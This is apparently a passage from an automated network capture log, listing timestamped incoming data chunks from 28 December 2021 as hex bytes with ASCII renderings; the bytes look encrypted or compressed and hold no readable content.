d0 d8 17 c4 f3 aa 55 6c 33 0f b9 26 84 ba 49 4d 6d 99 46 5e 5c 86 47 45 83 7c ad 65 f8 56 bb 6f 82 48 56 de 15 62 Data Ascii: \|5o;Qe>$VH$)[PMxq!=~dYTbP;(!!T<'7E-C^L_[jm<NL"}ffW>nh km]>*K]76fT4GAxfZ<1a.{D4Ul3&IMmF^\GE\|eVoHVb
2021-12-28 17:13:33 UTC	1095	IN	Data Raw: 35 d1 23 ac d5 01 b8 65 36 c2 c9 ac 02 ca 7b 99 c6 06 7b 6e 6c 8e e3 97 b5 4e 5e 9f 49 5c d1 ff f7 83 f3 48 16 71 77 b7 51 6b 7b b1 25 76 bf 61 70 25 8c 03 b1 57 02 46 32 67 f6 0f c9 26 df 99 a3 22 78 a9 a9 c8 ad 74 b8 39 cd de 9d f3 f4 d7 00 d2 82 7f 84 7f df 18 31 ca 13 fd 62 89 cc 5e 49 23 df bd 3d 0e c2 45 8a c4 b7 9a 25 18 f4 da 34 bb d3 02 8b 5f 01 80 16 62 da c8 0f 25 9b 77 de 03 6d 13 f5 32 61 e8 e8 64 3a d9 00 85 db ac dd f9 4a f3 93 9a cf 15 e4 df 03 f4 e8 24 fb 27 77 0c 92 a0 45 ff dd eb 93 37 78 ad ff 01 43 7a c1 99 d0 f6 7f 0f 7f 14 eb a3 5f a7 58 90 62 41 3a ff 8f e9 a0 99 2e 6c e8 a0 ef fa 2b 7e 00 64 c9 fa 2f b8 5c 64 dd 2c c2 0b 05 f7 ef 5d 9b dc 8b 68 33 ec e4 e9 a4 3f a3 f2 b2 1a d7 aa d8 9a 5d 83 d3 85 a8 30 a2 f9 85 ce f4 9f 11 a4 97 Data Ascii: 5#e6{{nlN^I\HqwQk{%vap%WF2g&"xt91b^I#=E%4_b%wm2ad:J$'wE7xCz_XbA:.l+~d/\d,]h3?]0
2021-12-28 17:13:33 UTC	1111	IN	Data Raw: 3c 80 ad de 9f cf ad cb d0 d1 9d 80 98 94 fe e4 45 38 39 d2 b2 bc 3c fb 36 eb 73 f4 74 52 fe 59 29 3c f3 d6 66 ba f7 93 c7 77 39 9a 13 be 82 5a 4c 03 03 7e 21 f5 42 c4 17 0f 24 ce 45 60 af f0 86 a9 64 95 20 21 6a b6 8d a4 e9 63 44 18 64 80 91 1c e1 69 1e 5f a4 b9 29 11 d7 5d ea 02 ac 2e 2d 05 a3 a7 a8 6d 49 ea ac 73 be 00 d4 1a 8d ae d7 7d cf a4 f0 08 a6 e1 b7 11 71 60 84 5e 7b bb 7a c1 ef e9 13 82 bf 4b 82 8c 00 56 72 7c cc db d9 83 78 a4 1c a8 f1 74 0b 0f ab 9b 12 2e a4 8e 9b cb ee 0d d4 50 ed 69 3d 33 2c d6 dd 68 7f b6 96 4b 2c 7b e0 bb 0e b1 4c 37 8d de 7b cc 5b 69 c6 c4 77 34 b9 54 ac 39 dd 2c 0b f3 27 0c 18 11 35 3f 25 f1 d6 db 92 fe 6a 71 e5 60 2e 2d d9 2b ea f9 0c b3 e0 07 35 e7 b2 1d cc 32 e4 19 cf 03 85 28 41 27 05 fa ac e3 14 11 1d 32 3e 7e 0e Data Ascii: <E89<6stRY)<fw9ZL~!B$E`d !jcDdi_)].-mIs}q`^{zKVr\|xt.Pi=3,hK,{L7{[iw4T9,'5?%jq`.-+52(A'2>~
2021-12-28 17:13:33 UTC	1127	IN	Data Raw: ba 3e 9c 4d 81 31 bf 61 11 7a 64 00 e0 78 c2 d8 a6 af 23 5c fd fb c3 d1 73 00 65 7e c8 9b 7f 71 64 02 8d 2a f4 ad 60 d4 12 e9 7c 56 57 21 a2 a7 46 40 7d 41 19 a3 8d f1 0f 0b a6 5f 65 2d ac 4f 8d 6f 36 4c 3e d3 ce 0a e7 c9 c9 14 60 49 78 23 c6 ab 1f 23 ff 8c f4 73 66 ac a8 61 e6 ce 93 e7 68 30 3c 58 98 12 b5 19 e6 0d 97 df 21 eb b8 aa 92 5b da d8 37 a9 2f dd b1 2a 37 22 73 45 e9 7a 5e 87 07 0a 84 18 ad 99 24 99 97 7b 79 fd 6d f3 4c 46 56 6c b1 32 62 6c 39 8d e1 e9 c6 1c 6f b1 d2 89 d3 4e ca 6c f8 2a 1f 59 f1 c8 c1 97 9a c9 06 72 6a 05 84 59 89 6c ad 7b 39 1e cf 4b 20 27 c5 33 ee 8d 8b 8a 9c b9 3e 1b ba e4 f2 e5 dc 7a 3f 80 ad 82 fa 46 1c c1 88 71 5a 01 1e 0d 0e 1b 4e c2 c7 b4 b7 58 e6 2b 23 a1 b1 72 78 ec aa 9d 37 20 8f 80 e6 2f cc 07 c9 59 5f 6e 98 71 d0 Data Ascii: >M1azdx#\se~qd`\|VW!F@}A_e-Oo6L>`Ix##sfah0<X![7/7"sEz^${ymLFVl2bl9oNl*YrjYl{9K '3>z?FqZNX+#rx7 /Y_nq
2021-12-28 17:13:33 UTC	1143	IN	Data Raw: 43 b7 be 22 99 4f 55 26 69 d6 6f d9 4e 41 f8 f7 fa 4f fb 58 df ad a8 43 37 63 13 a4 6d 00 8f 52 2e c6 86 06 bb 56 df 13 a9 74 cf ef ba e2 07 fc 73 82 78 8c 63 2f 17 a3 ed 89 14 63 d7 d2 79 ea 9e 40 b6 bb 75 d5 51 08 d5 8d 5b 15 d7 1a 76 e2 92 81 82 66 1b f1 ca 78 25 d6 7e 7f af 6a 86 6a a9 20 e6 10 83 eb 47 e0 cc a7 4c 98 12 d5 f0 43 cb a7 a1 e8 40 cb bf 78 5f a0 0a b9 47 3e c1 3a 63 b1 1a 52 ae 70 25 54 35 d5 f6 5c 13 12 2e 13 7b 0d 72 e1 b8 59 b4 ec 75 4c ca 6d f5 db ec b9 5d 3c 55 8a 7b 7a 59 72 65 13 f4 ad 1f f7 6b ae ab 01 9f bd 9d c1 e4 61 1e 15 70 3f d8 33 d5 f1 5b b9 ee 48 ef d8 93 75 82 d3 6a ee 2c d5 f2 0c 55 b6 57 82 7a 95 78 08 6c 94 cc d3 97 5b 35 3f 78 11 14 48 89 d5 89 b6 53 ac 34 e4 81 34 fa 49 66 41 29 3f 47 b0 7d 6a 49 e1 49 f8 58 54 52 Data Ascii: C"OU&ioNAOXC7cmR.Vtsxc/cy@uQ[vfx%~jj GLC@x_G>:cRp%T5\.{rYuLm]<U{zYrekap?3[Huj,UWzxl[5?xHS44IfA)?G}jIIXTR
2021-12-28 17:13:33 UTC	1159	IN	Data Raw: f9 a1 e6 7f d5 2b be d7 15 8c c9 71 cb 22 bd d1 ad 73 a3 52 fc 21 c8 72 f9 da 4c 93 79 4d f4 4d 8c 88 21 99 fe c1 d7 54 ce ae 21 09 19 23 62 08 8b 3f 92 a8 7b 4c 0a 12 b2 62 a1 c8 09 99 e8 82 05 54 a3 c1 74 0b a7 19 99 fe 7a f4 7b 0b 59 cb 4f ea 6e c5 28 a4 44 29 0a 57 f7 28 c1 1f c6 b6 ac 4e 57 5f 2d 18 7c 97 e5 d3 da 6d 64 89 94 0f c0 5b d7 de dc 6f e1 97 fe d0 f4 65 a7 2c ef 1b e8 b4 4d 37 94 8f f1 45 a5 97 a4 cc 6a 58 41 23 19 13 b0 51 6f a1 78 11 38 8d 82 4a 1e a8 01 1e aa c5 2c 24 f0 bd e2 68 7e cb 74 37 68 5d 07 56 d9 74 f0 e0 5e 56 1b a3 64 83 d1 cb be c6 28 52 b1 be 63 58 98 a7 33 0f 32 3f 98 b0 b0 b7 c8 83 a1 6e 7c 6e 98 8b b0 65 23 49 ef 1b 07 f5 61 c0 cc 9e 50 79 48 99 f5 c7 4a 0f 9b eb d5 8d 63 0b b6 b1 67 35 94 41 72 c5 7f aa f4 f7 c2 4a 30 Data Ascii: +q"sR!rLyMM!T!#b?{LbTtz{YOn(D)W(NW_-\|md[oe,M7EjXA#Qox8J,$h~t7h]Vt^Vd(RcX32?n\|ne#IaPyHJcg5ArJ0
2021-12-28 17:13:33 UTC	1175	IN	Data Raw: 0b 30 08 44 f2 95 fc e1 f2 c1 e3 96 02 2e e9 98 97 71 80 e4 ce cb 0b 93 4d 8f 21 eb 9b c1 08 99 3b 38 68 9d 2c 21 7c 65 0b de a3 0e 5b 43 f0 db b4 4f ce 4b 77 fb 39 6a 06 36 38 22 47 3f 7e 5e ac 8a 03 32 35 8b 57 64 39 b3 ed 67 e1 ad 19 50 4f c1 46 27 fb fb a4 e2 a3 96 31 91 66 18 7b b3 b5 17 93 86 3c fe 5b c8 63 93 8a 02 75 83 30 21 ad 6d d8 2c ef 2f 63 d6 1d 6b 2a cb 45 11 63 43 37 41 5d ee 0a 0d 97 87 df 58 12 ef bd 8c 00 55 92 11 54 f0 37 5e cb 88 06 62 da 14 50 21 9f 57 b3 44 3f f0 8b 1e 8a 7c 12 b1 7f 72 d8 76 ae c9 28 9d 18 7a 46 e8 25 1e 87 35 b6 79 54 56 ea f8 67 44 0f 2a c5 b1 8f 01 61 66 72 dd f8 60 31 f4 27 46 a9 f5 a1 3a aa 10 68 73 79 5c 7c 3b 05 ee e2 94 0f ad 50 84 4a 73 99 38 aa e0 83 d7 9d ec d2 63 b7 ab f9 56 04 1c 6b a5 de 99 fd f0 fb Data Ascii: 0D.qM!;8h,!\|e[COKw9j68"G?~^25Wd9gPOF'1f{<[cu0!m,/ckEcC7A]XUT7^bP!WD?\|rv(zF%5yTVgDafr`1'F:hsy\\|;PJs8cVk
2021-12-28 17:13:33 UTC	1191	IN	Data Raw: 12 f9 a9 4e ad f5 6e 52 b4 24 30 39 d5 26 5f 7e f0 b6 9b 86 a4 09 a0 69 ae fa b5 cd 06 bb 7c 41 71 c0 6f fd d5 9a cc 4d af 69 d6 5b a2 93 8a d2 76 1b e2 c1 68 21 66 12 8b 59 29 d6 f4 b3 d2 6b 8d 16 0d 8d ff 46 38 b7 03 f5 d0 b9 4d dd 5e 73 45 6b 62 53 2a 82 20 b6 9a 69 13 43 e3 36 14 44 31 3c f4 d6 7b 16 90 62 29 87 39 94 85 03 67 a5 a7 11 84 90 36 61 09 60 f4 ff 6f 02 ed 2e 94 25 62 4f 79 fe 7b fb 7c ef c9 94 79 2d a0 7b d1 d5 d0 54 16 65 7d 8b 0e 38 db d3 bd bd 70 d2 ea dd 7c 8a ea d8 28 a4 5b ac c4 a2 8e 1c 8c 06 81 2e 15 26 4e 2a da 3e 71 be 9d 86 aa 12 a1 2e 8d a9 58 f1 21 e4 3f 2d 24 7c 45 9b 65 fc ba af 9a 1d 14 ba c3 39 7e 16 6b 43 83 1a a4 4c e4 64 d1 7a 82 e8 34 f9 58 b3 2a 80 40 9c 63 57 83 5d 99 10 4f 20 34 78 0c c1 f7 31 90 84 50 c6 5e 44 87 Data Ascii: NnR$09&_~i\|AqoMi[vh!fY)kF8M^sEkbS* iC6D1<{b)9g6a`o.%bOy{\|y-{Te}8p\|([.&N>q.X!?-$\|Ee9~kCLdz4X@cW]O 4x1P^D
2021-12-28 17:13:33 UTC	1207	IN	Data Raw: a7 9b f2 a2 ce 97 3e 7e 18 75 c8 85 29 ed 22 a4 35 22 ef f8 7e 44 9e 2b 25 5f e2 79 8e 81 6e d2 4c 84 5e 70 bd 81 1c 0e c6 52 d1 f3 3e 0b 9d d3 19 53 d3 eb 26 95 f8 7b e1 34 a0 23 f9 d8 0b 05 f4 36 6b cb b2 79 69 07 95 a9 14 b0 5c 47 fe 27 4a fb 63 ca 83 f5 0e 37 5b c3 f2 98 1f ca b4 98 4b 64 c5 ec 55 80 91 59 3e db f2 5b 92 f4 62 6d fd 54 63 04 c1 31 49 82 9b d9 30 ea 4b ca d4 72 9d a7 62 6b fa 00 74 7d bf 90 0c d0 02 e6 b7 e2 de dc 11 74 52 a7 f2 67 93 c6 4b cd 3c 4b 97 53 93 0b 04 6f e0 13 1c d0 d3 ad 54 d7 27 85 b0 84 21 2f 30 ab a7 fb 53 96 09 02 e8 03 7d f6 3d 84 1a 41 f3 11 61 c8 8d 01 d5 56 0c 05 c8 c0 7b 10 99 bd 6f 7d 65 55 a6 11 29 ba 39 77 8c 12 bc 64 25 7a a5 43 32 10 6b e6 93 3a 7f 1f 50 2c c7 be 19 b0 5d e3 58 0b 19 8e 99 97 0f a3 7b 8d a9 Data Ascii: >~u)"5"~D+%_ynL^pR>S&{4#6kyi\G'Jc7[KdUY>[bmTc1I0Krbkt}tRgK<KSoT'!/0S}=AaV{o}eU)9wd%zC2k:P,]X{
2021-12-28 17:13:33 UTC	1211	IN	Data Raw: e5 45 c1 6e f2 d9 14 d6 4e 50 42 a1 13 41 a7 1e 95 7d 9d 8a 48 51 38 e2 21 84 a5 6b 32 25 40 84 d7 fe 13 59 62 1c 8e 1f 58 d3 fe cc 38 0c 3f e2 f1 65 21 4d 11 98 c9 9d db 68 e6 72 a7 9d 43 c2 a9 f4 fa f4 ec 48 ff ea b0 eb cc 52 38 18 4c 95 43 2a d3 7e 5d b3 03 41 e4 21 53 e8 67 88 40 2f 8b 9f a1 53 aa 96 a9 31 65 db 8e 54 fd ed d7 6a 91 ef 2a 18 d9 ff f8 ed 76 e9 73 1a 3b ee e3 38 83 03 22 c6 0b f4 61 ac a0 b9 d8 93 fb 66 e8 8c be 1e af e1 3d 0b fe 99 33 bd ca 3c e0 25 45 ab 4d 06 6c de c2 35 a2 fa aa 93 04 2f 80 0f 03 30 da bb b1 95 03 36 4c 3e b7 a4 fb b5 e7 6c 7b 55 b8 0a 0d d0 9f 58 85 d6 98 7d 3c f4 d9 81 69 24 3d ce 5e 82 54 3e 27 c0 7d 0b 0a 06 61 f3 49 50 76 6b 12 01 9c d0 fe 0a a7 a0 b8 52 fd e6 db 3e 16 f8 31 94 a1 89 9a 8c cd 41 fb 93 a6 c9 6d Data Ascii: EnNPBA}HQ8!k2%@YbX8?e!MhrCHR8LC~]A!Sg@/S1eTjvs;8"af=3<%EMl5/06L>l{UX}<i$=^T>'}aIPvkR>1Am
2021-12-28 17:13:33 UTC	1227	IN	Data Raw: c4 9c 2d e7 63 cd f1 01 3c 1a fd ad 29 b5 bd b9 4c e2 5f 0a 00 4a 66 eb 30 47 d7 c8 a1 b3 15 c5 6e f7 17 65 d4 9e a8 80 78 79 bb 5d 3c 03 80 f3 7e d8 eb 2b e7 12 f0 5e be 08 ce a7 cc 34 e5 74 36 60 bd 12 7f ed 06 26 cc b4 1b a7 a6 3e aa be 49 89 ad 6c 98 af a6 08 89 38 1a d1 b4 88 4e eb 55 6b 30 c2 10 c3 b1 48 31 f1 3d dc 93 78 7c 7e ff 2f f3 3e 07 a1 bf 37 44 bc 98 4e 5a bd 7a 60 a4 69 22 25 55 3f ef 5d a7 ef a5 38 ec 21 ce 6d c2 69 2e 41 1f 7e c9 da 90 86 a7 7a 51 24 44 80 95 23 ab 19 62 92 b7 29 9b 8f 0e a1 e1 3f 86 75 81 14 3d cf 14 96 fb 42 d0 f7 75 eb 8d a6 5d 29 26 b9 d7 49 ba 18 8d b0 23 bd f7 5e 45 82 58 1e d7 31 86 18 6d 1e 61 9b cf ee fe 81 b3 53 c7 30 44 10 99 66 75 97 f2 0b d7 ab 2c 59 81 cd 52 70 7a 13 96 3d 02 ef 63 b1 fe 73 97 c3 d6 b1 d0 Data Ascii: -c<)L_Jf0Gnexy]<~+^4t6`&>Il8NUk0H1=x\|~/>7DNZz`i"%U?]8!mi.A~zQ$D#b)?u=Bu])&I#^EX1maS0Dfu,YRpz=cs
2021-12-28 17:13:33 UTC	1243	IN	Data Raw: df 10 61 31 06 57 6c 9f 48 b8 0c 16 bd 2c 10 85 a8 21 87 4b 36 3e 46 71 ee e1 f5 7c 08 74 40 fa 7c 9f 0d ea 02 e0 a7 8b 69 a7 a9 ea 24 09 94 7d 54 65 00 c1 bf d6 76 40 0e 79 e7 45 dc 3a ca d1 61 c8 69 2a 43 d5 94 e9 86 17 dd 9b 2c 0a 97 bd fe 4a fb 54 8b f4 78 92 82 2b 28 e0 cd 5b 85 fc e1 75 5e ec 6c 91 ac 1d f0 d0 7d 11 c0 5e 3c 56 50 06 ee 16 65 ad 34 e1 93 d9 47 eb 57 b8 a2 f1 d2 04 09 9b ab 2e a0 b9 d7 8e 3f 6a c5 f2 de 3d a1 82 57 fe 25 86 e1 33 92 b0 ca 92 60 e5 cd 97 2a fd ed b6 ab e1 14 f3 2c 49 fb 17 4f 93 4b df ef 28 b5 7a e7 9a 0e f2 1e c3 28 9b ae 2a 34 fb 05 38 e9 bd 46 ab c7 6e 6f 9d fc c0 68 38 80 12 3b db 61 d9 bc bf 22 58 9c 45 a6 0f 3e f1 53 dd b8 6a 36 8d 8d ca 51 30 d4 51 65 db 0e f7 b1 ee 63 fd 8b 81 c6 7d c2 11 cc b3 a7 79 d6 c3 7a Data Ascii: a1WlH,!K6>Fq\|t@\|i$}Tev@yE:aiC,JTx+([u^l}^<VPe4GW.?j=W%3`,IOK(z(*48Fnoh8;a"XE>Sj6Q0Qec}yz
2021-12-28 17:13:33 UTC	1259	IN	Data Raw: ec 63 ad 4a dd 45 62 91 a1 db 15 1a f9 db 28 75 12 07 1a 82 f8 6e 05 64 c6 53 5f dc f4 6c 13 02 79 c6 22 9c 01 01 30 cd 4a fb f1 dd 67 38 10 4c 1d 28 e7 47 20 1d 76 25 33 28 ee ff b2 cf 10 56 06 1b f9 90 7f 7b ec 2d 6f f4 6b 11 cb e1 19 11 bc 90 18 24 d2 0e e9 66 03 e3 f5 01 7d 62 3a 93 24 a5 ca 2d aa f2 2e d6 ae f6 f4 8e 53 dc 0b 64 be 8e 87 3e 06 d6 f7 5d 02 2f de 50 5a 91 36 fe 1a 03 6c 05 5e af 50 1e 42 9d 3e 78 1f 8b 78 1c 4b 61 55 8f 8b 6a 77 1a 02 42 11 7a 6b 71 af 2b a7 a3 b5 f6 a9 d6 27 b9 3d 5b 49 e1 b1 ca e2 d8 91 5c a3 21 5a 71 f6 87 1c 25 24 70 73 41 37 27 1d ef 6c 69 b9 16 c0 f2 1d f8 69 69 26 cc 63 91 dd 37 90 1d 57 3c 6a e5 48 b8 dd e8 91 4f 36 e9 e5 cf 4a 6d 17 56 e9 6c 7f c8 51 e4 33 c3 6f e4 f5 71 9c af ef 33 25 84 29 c5 a9 25 b3 c1 6e Data Ascii: cJEb(undS_ly"0Jg8L(G v%3(V{-ok$f}b:$-.Sd>]/PZ6l^PB>xxKaUjwBzkq+'=[I\!Zq%$psA7'liii&c7W<jHO6JmVlQ3oq3%)%n
2021-12-28 17:13:33 UTC	1275	IN	Data Raw: cc 73 97 6d c2 52 7e c8 a4 eb 3d 0a 06 7d 9e 12 0b 19 9a 5f b9 ba 34 aa 19 9b 09 75 d2 d8 61 8d 1e fc 80 7a cd 2b 7b 2e 91 6c 9a c4 cd e9 b6 64 ec a8 eb fe e0 29 d0 ef 25 98 06 66 f2 0e c7 af c3 17 fa 63 06 e2 53 6e 73 38 79 6b 22 39 3d b3 d6 f9 c2 f7 42 05 52 8b 0b c0 9e 6b 1a 98 14 49 f1 c2 82 e4 d1 ad 86 1a 0c ea 74 43 e3 bf 53 ea a8 28 a5 06 f1 8b 9f 5d 24 21 03 5e a6 04 e5 93 50 66 98 54 c1 ef aa 55 8e cc ac 83 5d 24 04 cb 97 a8 7a 7a 90 53 50 c5 7a d2 51 85 27 27 fe 0f 43 dc 05 f4 5a 78 68 40 4e 6e 4e e6 f5 3b 2f 78 ab 77 89 59 50 90 8d 70 71 1c dc 2d 79 2b ba f3 57 2b 7c 3d 1d 02 e8 4c 3d 32 fe 33 88 b5 34 13 2d 38 88 08 9b 0d 79 52 5f bf 50 d5 8b fe a3 5b 19 70 9b 1e 1d b5 fe 61 8c 0e 33 41 85 bc 08 b8 e1 f7 7a 26 bd 88 3f 2f 87 60 41 ef e7 14 67 Data Ascii: smR~=}_4uaz+{.ld)%fcSns8yk"9=BRkItCS(]$!^PfTU]$zzSPzQ''CZxh@NnN;/xwYPpq-y+W+\|=L=234-8yR_P[pa3Az&?/`Ag
2021-12-28 17:13:33 UTC	1291	IN	Data Raw: 7a c1 79 38 6d 5b 72 de ed 7f 50 40 f6 70 22 8e 49 f4 81 fd e5 b1 e5 66 01 d8 ee 29 16 6f 16 ca 12 e7 4e 3a 8d a2 36 0c ce 76 62 0a 76 b6 9a b6 02 10 7d 9f 36 a7 b1 92 20 ba 9d 0b 3b 89 dc ee 46 ff 76 28 c1 08 b1 e7 fb e5 69 4c a4 69 8f 61 c8 8f 5d d1 d5 ab fb d3 57 25 e3 68 30 1c 87 b5 ab 2e a9 56 bf 5f 94 6c e1 1d 02 99 b8 01 cd 3b 7f f6 f8 44 64 cc de d1 ab 66 05 8e 20 f3 2e 6d 36 36 6b 63 ce 55 f0 42 fc a9 e3 60 62 48 67 87 55 be 55 5b e8 86 ce 82 13 58 5a 79 ba ba c8 40 49 91 7c 6b 2d 78 d6 30 fc 97 5f 4b e0 6d e3 2d 6f 45 f6 48 05 f5 7e c1 19 26 28 a8 c7 fb d9 56 1a c8 e4 15 d4 c6 02 34 e0 bc 45 73 54 8e f3 f9 4a 15 c7 8e a0 11 b9 e0 38 3e 12 89 95 4b c6 83 98 81 2f 09 bf 44 cb e7 28 94 81 ed 71 41 d7 1c 45 6a 90 b0 dc 18 25 32 b4 e1 bc b6 f5 a4 5a Data Ascii: zy8m[rP@p"If)oN:6vbv}6 ;Fv(iLia]W%h0.V_l;Ddf .m66kcUB`bHgUU[XZy@I\|k-x0_Km-oEH~&(V4EsTJ8>K/D(qAEj%2Z
2021-12-28 17:13:33 UTC	1307	IN	Data Raw: 47 83 3c 58 e4 35 b5 70 72 a0 ae 4e 01 3c 56 6a 50 dc 9d 23 2c 96 3b 52 8b 8e 92 41 6f 59 4f c4 50 a6 66 5c fa 31 41 ac 30 c9 44 b9 71 7e a7 63 c6 72 97 f1 b7 90 cf d0 9f 80 42 d5 fd 27 01 3c f0 4d 83 8e f8 12 f5 c2 62 48 1d 9f 4b eb 8d 4f 2a d6 12 14 0b ad 56 c7 65 4f 89 ed a6 aa de 9c 2c a9 6a dd 3d ae e7 18 2d b3 6d fb e1 97 05 1c 68 ac 8f c2 dd c4 ec e5 a6 e2 6c de 16 8e 62 80 98 55 2d 72 9b 0d 92 d6 58 6e 55 b1 d1 d6 39 4a 9a 95 f9 6e ac 4a 67 2b 8f 0f 05 c7 7b 6c af 96 92 c3 22 1f 90 a9 c2 a5 62 82 0f e3 03 58 5a eb 44 22 ca ad 57 d1 d6 4f 22 9e ff 48 08 d4 6b 16 fb ec da 2f 18 dc 71 03 0e b1 ee dd 12 2c 8a bb 2e d8 1b 23 df 56 ec 32 ec cd b8 a4 f3 e9 d9 b8 e8 98 f7 b7 6e 5d ca 92 0a 8c a8 69 c5 da e5 fc 52 36 1b 52 6f a4 87 b0 4d 71 5a 1d ce 96 df Data Ascii: G<X5prN<VjP#,;RAoYOPf\1A0Dq~crB'<MbHKO*VeO,j=-mhlbU-rXnU9JnJg+{l"bXZD"WO"Hk/q,.#V2n]iR6RoMqZ
2021-12-28 17:13:33 UTC	1323	IN	Data Raw: 8a ce 96 eb 3f 41 ce 54 a9 7a c2 f1 02 4b 7e 69 76 99 f5 a1 38 c3 a3 4f 58 4c b2 75 87 21 93 06 c6 c0 ad 72 0b 70 ff b5 b0 a1 6e 83 80 42 8c 0c f3 9e 93 b0 b0 7a 53 dc b0 e5 ba 02 c9 ba 41 81 c3 69 0c 56 f7 9c d8 77 3e 5a cd fd 6a ab 5d 92 3a bd c3 e1 a1 53 fa d0 c6 c0 83 14 30 57 2f dd b9 99 dd 6a 9a 7c 42 b3 e1 dd 37 3b 1e 5c 1d c6 fb 87 de f8 27 bb 79 1b c6 e3 cf b2 2a 5d 91 ae 31 f1 24 b3 13 12 f3 9e e7 07 06 aa 99 eb c7 aa e8 7b 03 20 05 b9 3b 09 d4 95 ef f2 92 5e c3 d2 ed 0e 16 5a 6f c3 c9 47 56 5f ec 81 6e f1 4c a2 48 a0 1c 6a dc 1d 0b 77 a9 b3 47 9c af a5 fb be 08 8c dc bd 46 a9 29 87 fa 17 b8 01 90 79 7b 29 b2 b2 2f 1a 57 42 77 04 00 e3 3e ee b1 f0 1e 27 cd 12 0e 04 73 9e 4e 65 85 8a 37 4b 8d 4a ee a5 0f 39 81 f9 88 37 2c be 4b dc f4 d2 a1 e0 ef Data Ascii: ?ATzK~iv8OXLu!rpnBzSAiVw>Zj]:S0W/j\|B7;\'y*]1${ ;^ZoGV_nLHjwGF)y{)/WBw>'sNe7KJ97,K
2021-12-28 17:13:33 UTC	1339	IN	Data Raw: e3 7f 36 27 32 9b a9 47 50 16 27 13 e6 5f a5 1e 5e f2 e6 c5 17 ec 39 bd 93 75 6c aa 4b c1 fe f6 a4 80 6b 02 74 76 f6 c9 0e 9c 3f e1 c8 2e e3 f1 75 ef d8 a4 5c 74 cb 37 96 d9 ca e4 13 f3 4b 8f 24 c3 6b 9a b4 51 67 f8 8a 4c 80 8c 63 ae c7 aa 0a 56 17 59 9d a6 fe 6f 10 1c 61 db 13 d6 ef d4 69 de 8b 88 b0 d9 90 c2 bc 87 fe ed 4e b0 44 18 64 44 92 8f 0e 64 ee d9 9a 86 45 5e 5e 69 21 c6 e5 e1 4e 04 9b cc 64 6a a4 7a 17 62 2e 80 b4 72 a9 2d 16 02 69 65 05 9f da f9 bc 5e 91 b4 47 19 66 c2 14 3f 97 37 1e 7c aa be 5f d3 eb 99 fd 2c fe b3 71 f4 37 88 a8 7e d7 ce 13 7b 71 ff fe e0 e4 ea 29 35 e8 44 65 b4 13 70 8a 1e de c8 2b 0f d4 ee fb 60 4f 42 74 e2 c6 f7 16 c6 14 58 cb 96 a7 9c a4 f1 6f 77 1a c4 39 46 d6 0b cf 0a 5e 65 74 57 a6 f1 ef 79 bf ba a4 a4 0e fb 22 23 54 Data Ascii: 6'2GP'_^9ulKktv?.u\t7K$kQgLcVYoaiNDdDdE^^i!Ndjzb.r-ie^Gf?7\|_,q7~{q)5Dep+`OBtXow9F^etWy"#T
2021-12-28 17:13:33 UTC	1355	IN	Data Raw: 29 bd 0f b7 67 d1 8b 44 ec 41 9b c5 3f 97 a5 57 78 68 8f 26 de 19 b8 1c 66 5f 19 d5 91 14 38 02 9e 56 db a3 40 24 fb 4b 3c 0c 77 5f 98 f4 e8 f2 4b 31 32 36 3d 3f 7c 06 a0 7c 96 c3 dd a5 01 85 26 fb b5 8c 58 49 8a af 43 4f e0 4e b8 48 d8 48 94 41 64 07 9b 18 44 8b 70 9c c8 b0 27 66 99 46 7f 8d 85 b8 ce 5a 0c 2b dd 9e 1b 70 d4 c7 c5 fb 8d 97 11 35 43 46 32 09 12 11 59 a6 ce 15 81 fa 2e c4 da f7 3b 40 6f 04 96 9b 7d 09 03 ee 87 c5 7d e0 8c 61 11 83 b9 73 3f be af cb f7 cc ec 51 b7 53 e9 5c 0a 29 da 71 a1 65 46 af 45 94 21 27 c0 ae 95 19 8a 91 a7 60 13 ca cb b2 2a ed 69 82 0e cf 46 16 05 18 38 56 04 f8 68 05 ed 0f 61 d4 5d 9b 94 76 37 c6 99 dd d5 e3 06 2a 4f 80 a3 70 c3 0e 0b 05 44 29 47 3a e5 d3 7d f3 e8 e4 70 44 75 94 7d b8 f6 a8 3f b8 08 3c bd 0c 3d f2 71 Data Ascii: )gDA?Wxh&f_8V@$K<w_K126=?\|\|&XICONHHAdDp'fFZ+p5CF2Y.;@o}}as?QS\)qeFE!'`iF8Vha]v7OpD)G:}pDu}?<=q
2021-12-28 17:13:33 UTC	1371	IN	Data Raw: c2 03 51 8b 69 76 89 e2 6c 75 30 da e3 84 8d eb 35 93 dd f0 02 b7 66 81 7d 93 9b f5 76 99 21 55 f1 e4 9b 36 a9 97 a3 b8 58 5d ab dc 3a 46 6f a4 0d 44 3b 01 09 1a df 0d e7 4f e2 af 2f 7a 5f be ad a1 58 08 79 0e 0a 72 41 39 d9 5f ec 28 7d cf 96 89 b1 a8 a1 c9 29 0b 68 6e 80 9c 8b 21 3a 0b 7f 43 63 78 57 d4 91 ec 0e ab eb 81 75 03 3e 3a 3a ac c2 4d 0d 99 26 8d 2d e4 39 83 5b ab d0 ac 41 09 6a 9e 20 f6 09 37 4d f7 49 76 c5 98 da 03 8a 4b 32 c1 e8 86 eb 44 d3 4a 11 03 d5 20 6d 0c a3 ff 2a f9 2a a8 24 e6 fe b7 f3 60 19 36 19 a4 de f6 14 ec 0c 7a 5d 05 97 b8 d3 04 3c 0f 6c 92 6b 19 30 e3 1a 74 07 5a de 72 ee 9c f5 d1 1a 4a 0f 23 59 90 cf 2a 14 9b 12 2e d5 e5 40 d7 89 16 cc 47 a3 12 67 27 e2 a8 b7 fb f0 b3 40 20 ee 93 24 e9 4e e8 84 48 5c 14 4a fe 51 af d3 67 17 Data Ascii: Qivlu05f}v!U6X]:FoD;O/z_XyrA9_(})hn!:CcxWu>::M&-9[Aj 7MIvK2DJ m*$`6z]<lk0tZrJ#Y.@Gg'@ $NH\JQg
